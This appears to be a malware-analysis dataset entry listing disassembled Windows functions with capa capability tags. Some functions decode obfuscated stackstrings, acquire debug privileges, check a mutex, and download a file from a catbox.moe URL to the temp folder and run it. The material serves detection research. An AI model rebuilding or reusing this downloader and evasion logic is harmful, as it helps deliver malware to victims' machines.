joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001a70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1a0
mov rax, qword [0x140004150]
xor rax, rsp
mov qword [rsp + 0x190], rax
xor eax, eax
xor edx, edx
xor ecx, ecx
mov byte [rsp + 0x30], 0x61
mov byte [rsp + 0x31], 0x61
mov byte [rsp + 0x32], 0x2e
mov word [rsp + 0x37], ax
mov byte [rsp + 0x39], al
mov byte [rsp + 0x33], 0x64
mov byte [rsp + 0x34], 0x61
mov byte [rsp + 0x35], 0x74
mov byte [rsp + 0x36], 0
call qword [sym.imp.USER32.dll_KillTimer]
lea rdi, [0x140004180]
xor edx, edx
mov rcx, rdi
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140004290]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x81]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x80], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x20], 0x6a
mov byte [rsp + 0x21], 0x74
mov byte [rsp + 0x22], 0x77
mov byte [rsp + 0x23], 0x2f
mov byte [rsp + 0x24], 0x2f
mov byte [rsp + 0x25], 0x2a
mov byte [rsp + 0x26], 0x62
mov byte [rsp + 0x27], 0x74
mov byte [rsp + 0x28], 0x62
mov byte [rsp + 0x29], 0
call sub.MSVCR90.dll_strlen
xor ebx, ebx
mov r9d, ebx
mov r8, rbx
movsxd r10, eax
test eax, eax
jle 0x140001b7d
nop word [rax + rax]
mov eax, r9d
inc r8
inc r9d
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, 3
add byte [rsp + r8 + 0x1f], al
cmp r8, r10
jl 0x140001b60
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x80]
call sub.MSVCR90.dll_strcat
call fcn.140001800
test eax, eax
jne 0x140001c24
lea rdx, str.qa_i4420_fqpn7_tsu1422___2_mj40022365.dp35abqab
mov rcx, rdi
call sub.MSVCR90.dll_strcpy
mov rcx, rdi
call sub.MSVCR90.dll_strlen
mov rcx, rbx
movsxd r8, eax
test eax, eax
jle 0x140001c0b
mov eax, 0x55555556
inc rcx
imul ebx
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
add al, al
add dl, al
movzx eax, bl
inc ebx
sub al, dl
add al, 2
add byte [rcx + rdi - 1], al
cmp rcx, r8
jl 0x140001be1
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x32]
call sub.MSVCR90.dll_memset
lea rdx, [0x140004189]
jmp 0x140001c99
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x32]
call sub.MSVCR90.dll_memset
lea rdx, [0x140004189]
lea rcx, [rsp + 0x40]
mov r8d, 0x18
call qword [sym.imp.MSVCR90.dll_strncpy]
lea rdx, str.0109a2_
lea rcx, [rsp + 0x40]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400019b0
test eax, eax
jne 0x140001cdc
lea r8d, [rax + 0x32]
lea rcx, [rsp + 0x40]
xor edx, edx
call sub.MSVCR90.dll_memset
lea rdx, [0x14000429e]
lea rcx, [rsp + 0x40]
mov r8d, 0x18
call qword [sym.imp.MSVCR90.dll_strncpy]
lea rdx, str.0109a2_
lea rcx, [rsp + 0x40]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400019b0
xor eax, eax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140001e10
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x1a0
pop rdi
ret
Function at 0x140001d00
Capabilities:
Acquire debug privileges
Check mutex on windows

Disassembly:
sub rsp, 0x28
lea rcx, str.SeDebugPrivilege
mov edx, 1
call fcn.140001580
lea r8, str.sofpogpdwqewcxnhbhahaha
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x140004170], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001d5c
call fcn.140001a70
mov rcx, qword [0x140004170]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [0x140004170]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140001630
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000225b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140004150]
jne 0x140001e2a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001e26
repz ret
ror rcx, 0x10
jmp 0x1400021b4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140004460]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140004558]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002239
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140004460]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000225b
mov rax, qword [rsp + 0x88]
mov qword [0x140004558], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400044f8], rax
mov rax, qword [0x140004558]
mov qword [0x1400043d0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400044e0], rax
mov dword [0x1400043c0], 0xc0000409
mov dword [0x1400043c4], 1
mov rax, qword [0x140004150]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140004158]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140004458], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400034d0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140004458], 0
jne 0x1400022e2
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001130
Capabilities:
Check internet connectivity via wininet
Create directory
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push rbx
sub rsp, 0x720
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x710], rax
xor r8d, r8d
lea rcx, str.http:__www.microsoft.com
lea edx, [r8 + 1]
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
jne 0x140001186
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
lea rcx, str.http:__www.microsoft.com
lea edx, [r8 + 1]
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x140001163
lea rdx, [rsp + 0x500]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rsp + 0x500]
mov edx, 0x104
lea r8, str._svdins
lea rcx, [rsp + 0x2f0]
call fcn.140001070
lea rcx, [rsp + 0x2f0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wmkdir]
lea r9, [rsp + 0x2f0]
mov edx, 0x104
lea r8, str._s_vdinstlr.exe
lea rcx, [rsp + 0xe0]
call fcn.140001070
xor ebx, ebx
lea r8, [rsp + 0xe0]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.https:__files.catbox.moe_9g5jmn.vd
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x1400012c7
lea rdx, [rsp + 0xe0]
lea rcx, str.Saved_to__s_n
call fcn.140001010
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rcx, [rsp + 0xe0]
mov dword [rsp + 0xd4], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400012d8
lea rcx, str.Failed
call fcn.1400010d0
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x710]
xor rcx, rsp
call fcn.140001310
add rsp, 0x720
pop rbx
ret

Function at 0x140001be4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c2e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c2e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c2e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c2e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c2e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c30
xor al, al
add rsp, 0x28
ret
Function at 0x1400012b0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x560
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x550], rax
mov rdi, rdx
mov rbx, rcx
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.FileDownloader
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x14000147d
cmp qword [rbx + 0x18], 8
jb 0x14000130f
mov rbx, qword [rbx]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140001474
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
cmp qword [rdi + 0x18], 8
jb 0x14000135a
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1400039b0
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2c], edx
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
mov rcx, rbx
test al, al
je 0x140001463
lea r9, [rsp + 0x140]
mov r8d, 0x400
lea rdx, [rsp + 0x150]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001415
mov eax, dword [rsp + 0x140]
test eax, eax
je 0x140001415
mov r8d, eax
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rsp + 0x140]
mov r8d, 0x400
lea rdx, [rsp + 0x150]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400013d1
lea rcx, [rsp + 0x38]
call fcn.1400038f0
test rax, rax
jne 0x140001442
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rsp + 0x30]
call fcn.1400014b0
mov al, 1
jmp 0x14000147f
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rsp + 0x30]
call fcn.1400014b0
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
mov rcx, qword [rsp + 0x550]
xor rcx, rsp
call fcn.140004700
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140002c40
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140002c61
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140002c8e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140002c90
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140002ce9
test ecx, ecx
jle 0x140002cc9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140002ce9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140002ce9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140002d10
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002d32
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140002d41
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002d64
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002d66
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002da2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140002e3e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140002ddd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140002e1e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140002e3e
cmp rbx, rax
ja 0x140002df0
test rbx, rbx
je 0x140002e3e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140003260
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000328d
xor eax, eax
jmp 0x1400033f9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400032c7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400032c7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400033f9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400033ec
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000330a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003335
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400033f1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400033a4
sub eax, 1
je 0x1400033a4
cmp eax, 2
jne 0x1400033ec
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400033f1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400033d2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400033ec
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400033f1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140004700
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140003800
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400038d3
cmp byte [rcx + 0x71], 0
je 0x1400038d3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400038cf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003894
sub eax, 1
je 0x140003898
cmp eax, 2
jne 0x1400038cf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004700
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400038c6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400038cf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000387c
xor al, al
jmp 0x14000387c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004700
add rsp, 0x60
pop rbx
ret

Function at 0x140005094
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400050de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400050de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400050de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400050de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400050de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400050e0
xor al, al
add rsp, 0x28
ret
Function at 0x1400119c7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14008b0d0]
jne 0x1400063ba
rol rcx, 0x10
test cx, 0xffff
jne 0x1400063b6
repz ret
ror rcx, 0x10
jmp 0x140011920
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14008cd70]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14008ce68]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400119a5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14008cd70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400119c7
mov rax, qword [rsp + 0x88]
mov qword [0x14008ce68], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14008ce08], rax
mov rax, qword [0x14008ce68]
mov qword [0x14008cce0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14008cdf0], rax
mov dword [0x14008ccd0], 0xc0000409
mov dword [0x14008ccd4], 1
mov rax, qword [0x14008b0d0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14008b0d8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14008cd68], eax
mov ecx, 1
call fcn.1400146e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400781b8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14008cd68], 0
jne 0x140011a4e
mov ecx, 1
call fcn.1400146e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret